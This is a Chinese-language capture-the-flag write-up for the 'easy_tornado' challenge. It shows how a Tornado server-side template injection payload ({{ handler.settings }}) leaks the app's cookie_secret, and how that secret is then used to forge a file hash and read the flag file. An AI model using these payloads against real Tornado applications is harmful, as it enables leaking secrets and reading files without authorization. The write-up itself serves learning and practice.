進入頁面:
然後依次看一下:
1)/flag.txt
網頁內容:
/flag.txt
flag in /fllllllllllllag
url:
file?filename=/flag.txt&filehash=9f1a5c8c40be3aafbc5e719d151b1d36
這個頁面告訴我們,flag在/fllllllllllllag文件中
2)/welcome.txt
網頁內容:
/welcome.txt
render
url:
file?filename=/welcome.txt&filehash=290d383abaf5f98a0a858eeb99973a88
3)/hints.txt
網頁內容:
/hints.txt
md5(cookie_secret+md5(filename))
url:
file?filename=/hints.txt&filehash=9c2c1e4ce37d7753784d1cdca61cd10f
從上面三個頁面來看
- flag在md5(cookie_secret+md5(filename))文件中
- url中的filehash是md5(cookie_secret+md5(filename))
也就是說我們要向讀取到文件,payload是這樣的:
file?filename=/fllllllllllllag&filehash=**********************
******************的內容是md5(cookie_secret+md5(/fllllllllllllag))
所以我們的差的就是cookie_secret了,下面開始拿cookie_secret
通過源碼和請求頭並沒有看到任何的cookie_secret信息,當我們嘗試讀取flag的時候:只修改filename爲/fllllllllllllag,出現了報錯:
題目是easy_tornado,/welcome.txt頁面也看到render,可能會是SSTI模板注入
(SSTI模板注入詳解)
嘗試進行驗證:
傳遞error?msg={{2}},頁面出現2
傳遞error?msg={{2*3}},頁面出現ORZ(但並不是cookie)
嘗試除和減操作符也是)返回ORZ,說明是操作符背過濾了。
那麼tornado中的cookie通過模板注入要怎麼拿到呢?
用的就是handler.settings對象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
傳遞error?msg={{ handler.settings }}得到:
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘93881405-8942-4355-9d77-09906cf0fcd6’}
這樣就拿到cookie_secret了
然後傳遞file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
這樣就拿到flag了。